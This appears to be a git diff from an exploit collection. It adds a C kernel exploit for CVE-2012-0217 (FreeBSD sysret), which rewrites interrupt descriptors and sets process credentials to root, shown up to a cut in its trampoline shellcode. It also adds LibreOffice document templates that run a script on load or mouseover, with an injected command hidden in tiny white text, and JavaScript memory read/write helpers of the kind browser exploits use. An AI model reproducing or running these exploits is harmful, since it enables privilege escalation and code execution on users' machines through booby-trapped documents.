data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print "will write file", dest_binary
|
||||
print("will write file", dest_binary)
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
@@ -68,6 +68,6 @@ else:
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print "Done!"
|
||||
print("Done!")
|
||||
|
||||
del pool
|
||||
|
||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
|
||||
<office:scripts>
|
||||
<office:script script:language="ooo:Basic">
|
||||
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<ooo:library-embedded ooo:name="Standard"/>
|
||||
</ooo:libraries>
|
||||
</office:script>
|
||||
</office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
@@ -79,6 +79,18 @@ function Int64(v) {
|
||||
return '0x' + hexlify(Array.from(bytes).reverse());
|
||||
};
|
||||
|
||||
this.lo = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
this.hi = function()
|
||||
{
|
||||
var b = this.bytes();
|
||||
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
|
||||
};
|
||||
|
||||
// Basic arithmetic.
|
||||
// These functions assign the result of the computation to their 'this' object.
|
||||
|
||||
|
||||
@@ -46,6 +46,139 @@ function hexdump(data) {
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function b2u32(b)
|
||||
{
|
||||
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
function off2addr(segs, off)
|
||||
{
|
||||
if(!(off instanceof Int64)) off = new Int64(off);
|
||||
for(var i = 0; i < segs.length; ++i)
|
||||
{
|
||||
var start = segs[i].fileoff;
|
||||
var end = Add(start, segs[i].size);
|
||||
if
|
||||
(
|
||||
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
|
||||
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
|
||||
)
|
||||
{
|
||||
return Add(segs[i].addr, Sub(off, start));
|
||||
}
|
||||
}
|
||||
return new Int64("0x4141414141414141");
|
||||
}
|
||||
|
||||
function fsyms(mem, base, segs, want, syms)
|
||||
{
|
||||
want = Array.from(want); // copy
|
||||
if(syms === undefined)
|
||||
{
|
||||
syms = {};
|
||||
}
|
||||
|
||||
var stab = null;
|
||||
var ncmds = mem.u32(Add(base, 0x10));
|
||||
for(var i = 0, off = 0x20; i < ncmds; ++i)
|
||||
{
|
||||
var cmd = mem.u32(Add(base, off));
|
||||
if(cmd == 0x2) // LC_SYMTAB
|
||||
{
|
||||
var b = mem.read(Add(base, off + 0x8), 0x10);
|
||||
stab =
|
||||
{
|
||||
symoff: b2u32(b.slice(0x0, 0x4)),
|
||||
nsyms: b2u32(b.slice(0x4, 0x8)),
|
||||
stroff: b2u32(b.slice(0x8, 0xc)),
|
||||
strsize: b2u32(b.slice(0xc, 0x10)),
|
||||
};
|
||||
break;
|
||||
}
|
||||
off += mem.u32(Add(base, off + 0x4));
|
||||
}
|
||||
if(stab == null)
|
||||
{
|
||||
fail("stab");
|
||||
}
|
||||
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
|
||||
var fn = function(i)
|
||||
{
|
||||
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
|
||||
};
|
||||
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
|
||||
{
|
||||
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
|
||||
for(var j = 0; j < want.length; ++j)
|
||||
{
|
||||
var s = want[j];
|
||||
if((strcmp(fn, s)))
|
||||
{
|
||||
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
|
||||
want.splice(j, 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return syms;
|
||||
}
|
||||
|
||||
function strcmp(b, str)
|
||||
{
|
||||
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
|
||||
for(var i = 0; i < str.length; ++i)
|
||||
{
|
||||
if(fn(i) != str.charCodeAt(i))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return fn(str.length) == 0;
|
||||
}
|
||||
|
||||
function _u32(i)
|
||||
{
|
||||
return b2u32(this.read(i, 4));
|
||||
}
|
||||
|
||||
function _read(i, l)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
if (l instanceof Int64) l = l.lo();
|
||||
if (i + l > this.length)
|
||||
{
|
||||
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
|
||||
}
|
||||
return this.slice(i, i + l);
|
||||
}
|
||||
|
||||
function _readInt64(addr)
|
||||
{
|
||||
return new Int64(this.read(addr, 8));
|
||||
}
|
||||
|
||||
function _writeInt64(i, val)
|
||||
{
|
||||
if (i instanceof Int64) i = i.lo();
|
||||
this.set(val.bytes(), i);
|
||||
}
|
||||
|
||||
|
||||
// Simplified version of the similarly named python module.
|
||||
var Struct = (function() {
|
||||
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,15 @@
|
||||
#EXTM3U
|
||||
#EXT-X-VERSION:3
|
||||
#EXT-X-TARGETDURATION:4
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
#EXTINF:3.433333,
|
||||
epicsax0.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax1.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax2.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax3.ts
|
||||
#EXTINF:1.466667,
|
||||
epicsax4.ts
|
||||
#EXT-X-ENDLIST
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,42 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
|
||||
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="P8"><%= @cmd %></text:p>
|
||||
<text:p text:style-name="Standard">#<%= text_content %></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
@@ -0,0 +1,345 @@
|
||||
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
|
||||
// Copyright 2012 all right reserved, not for commercial uses, bitches
|
||||
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <machine/cpufunc.h>
|
||||
#define _WANT_UCRED
|
||||
#include <sys/proc.h>
|
||||
#include <machine/segments.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/linker.h>
|
||||
|
||||
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
|
||||
|
||||
struct gate_descriptor * sidt()
|
||||
{
|
||||
struct region_descriptor idt;
|
||||
|
||||
asm ("sidt %0": "=m"(idt));
|
||||
|
||||
return (struct gate_descriptor*)idt.rd_base;
|
||||
}
|
||||
|
||||
u_long get_symaddr(char *symname)
|
||||
{
|
||||
struct kld_sym_lookup ksym;
|
||||
|
||||
ksym.version = sizeof (ksym);
|
||||
ksym.symname = symname;
|
||||
|
||||
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
|
||||
perror("kldsym");
|
||||
exit(1);
|
||||
}
|
||||
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
|
||||
return ksym.symvalue;
|
||||
}
|
||||
|
||||
// Code taken from amd64/amd64/machdep.c
|
||||
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
|
||||
{
|
||||
struct gate_descriptor *ip;
|
||||
|
||||
ip = idt + idx;
|
||||
ip->gd_looffset = func;
|
||||
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
|
||||
ip->gd_ist = ist;
|
||||
ip->gd_xx = 0;
|
||||
ip->gd_type = typ;
|
||||
ip->gd_dpl = dpl;
|
||||
ip->gd_p = 1;
|
||||
ip->gd_hioffset = func>>16;
|
||||
}
|
||||
|
||||
void shellcode()
|
||||
{
|
||||
// Actually we dont really need to spawn a shell since we
|
||||
// changed our whole cred struct.
|
||||
// Just exit...
|
||||
printf("[*] Got root!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void kernelmodepayload()
|
||||
{
|
||||
struct thread *td;
|
||||
struct ucred *cred;
|
||||
|
||||
// We need to restore/recover whatever we smashed
|
||||
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
|
||||
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
|
||||
// idt[18], idt[17] and idt[16]
|
||||
// thus overall we have:
|
||||
// - idt[18], idt[17] and idt[16] are trashed
|
||||
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
|
||||
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
|
||||
// - rdi -> overwrites the 64bit-LSB of idt[7]
|
||||
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
|
||||
struct gate_descriptor *idt = sidt();
|
||||
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
|
||||
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
|
||||
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
|
||||
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
|
||||
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
|
||||
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
|
||||
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
|
||||
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
|
||||
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
|
||||
|
||||
// get the thread pointer
|
||||
asm ("mov %%gs:0, %0" : "=r"(td));
|
||||
|
||||
// The Dark Knight Rises
|
||||
cred = td->td_proc->p_ucred;
|
||||
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
|
||||
cred->cr_groups[0] = 0;
|
||||
|
||||
// return to user mode to spawn the shell
|
||||
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
|
||||
}
|
||||
|
||||
#define TRIGGERCODESIZE 20
|
||||
#define TRAMPOLINECODESIZE 18
|
||||
|
||||
void trigger()
|
||||
{
|
||||
printf("[*] Setup...\n");
|
||||
// Allocate one page just before the non-canonical address
|
||||
printf(" [+] Trigger code...\n");
|
||||
uint64_t pagesize = getpagesize();
|
||||
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
|
||||
area = mmap(area, pagesize,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (area == MAP_FAILED) {
|
||||
perror("mmap (trigger)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Copy the trigger code at the end of the page
|
||||
// such that the syscall instruction is at its
|
||||
// boundary
|
||||
char triggercode[] =
|
||||
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
|
||||
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
|
||||
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
|
||||
"\x0f\x05"; // syscall
|
||||
|
||||
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
|
||||
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
|
||||
|
||||
// There are two outcomes given a target rsp:
|
||||
// - if rsp can't be written to, a double fault is triggered
|
||||
// (Xdblfault defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to a special stack
|
||||
// - otherwise a #GP is triggered
|
||||
// (Xprot defined in sys/amd64/amd64/exception.S)
|
||||
// and the exception frame is pushed to [rsp]
|
||||
//
|
||||
// In the latter case, trouble is... #GP triggers a page fault
|
||||
// (Xpage):
|
||||
// IDTVEC(prot)
|
||||
// subq $TF_ERR,%rsp
|
||||
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
|
||||
// [2] movq $0,TF_ADDR(%rsp)
|
||||
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
|
||||
// leaq doreti_iret(%rip),%rdi
|
||||
// cmpq %rdi,TF_RIP(%rsp)
|
||||
// je 1f /* kernel but with user gsbase!! */
|
||||
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
|
||||
// jz 2f /* already running with kernel GS.base */
|
||||
// 1: swapgs
|
||||
// 2: movq PCPU(CURPCB),%rdi [5]
|
||||
//
|
||||
// [4] sets the Z flag because we come from the kernel (while executing sysret)
|
||||
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
|
||||
// it was restored just before calling sysret...
|
||||
// Thus, [5] triggers a pagefault while trying to access gs:data
|
||||
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
|
||||
//
|
||||
// We therefore need a way: (1) to recover from the GP, (2) to clean
|
||||
// any mess we did. Both could be solved if we can get get an arbitrary
|
||||
// code execution by the time we reach [5] (NB: this is not mandatory, we could
|
||||
// get the code execution later down the fault trigger chain)
|
||||
//
|
||||
// So... here is the idea: wouldn't it be nice if we could overwrite the
|
||||
// page fault handler's address and therefore get code execution when [5]
|
||||
// triggers the #PF?
|
||||
//
|
||||
// For reference:
|
||||
// Gate descriptor:
|
||||
// +0: Target Offset[15:0] | Target Selector
|
||||
// +4: Some stuff | Target Offset[31:16]
|
||||
// +8: Target Offset[63:32]
|
||||
// +12: Stuff
|
||||
//
|
||||
// and from include/frame.h:
|
||||
// struct trapframe {
|
||||
// register_t tf_rdi;
|
||||
// register_t tf_rsi;
|
||||
// register_t tf_rdx;
|
||||
// register_t tf_rcx;
|
||||
// register_t tf_r8;
|
||||
// register_t tf_r9;
|
||||
// register_t tf_rax;
|
||||
// register_t tf_rbx;
|
||||
// register_t tf_rbp;
|
||||
// register_t tf_r10;
|
||||
// register_t tf_r11;
|
||||
// register_t tf_r12;
|
||||
// register_t tf_r13;
|
||||
// register_t tf_r14;
|
||||
// register_t tf_r15;
|
||||
// uint32_t tf_trapno;
|
||||
// uint16_t tf_fs;
|
||||
// uint16_t tf_gs;
|
||||
// register_t tf_addr;
|
||||
// uint32_t tf_flags;
|
||||
// uint16_t tf_es;
|
||||
// uint16_t tf_ds;
|
||||
// /* below portion defined in hardware */
|
||||
// register_t tf_err;
|
||||
// register_t tf_rip;
|
||||
// register_t tf_cs;
|
||||
// register_t tf_rflags;
|
||||
// register_t tf_rsp;
|
||||
// register_t tf_ss;
|
||||
// };
|
||||
//
|
||||
// When the exception is triggered, the hardware pushes
|
||||
// ss, rsp, rflags, cs, rip and err
|
||||
//
|
||||
// We can see that [1], [2] and [3] write to the stack
|
||||
// [3] is fully user-controlled through rdi, so we could try to align
|
||||
// rsp such that [3] overwrites the offset address
|
||||
//
|
||||
// The trouble is... rsp is 16byte aligned for exceptions. We can
|
||||
// therefore only overwrite the first 32-LSB of the offset address
|
||||
// (check how rdi is 16byte aligned in this trapframe)
|
||||
//
|
||||
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
|
||||
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
|
||||
// and tf_trapno is 16byte aligned + 8!
|
||||
// This enables us to set Target Offset[63:32] to 0x9
|
||||
//
|
||||
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
|
||||
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
|
||||
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
|
||||
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
|
||||
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
|
||||
// some setup and jump to our kernel mode code
|
||||
printf(" [+] Trampoline code...\n");
|
||||
char trampolinecode[] =
|
||||
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
|
||||
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
|
||||
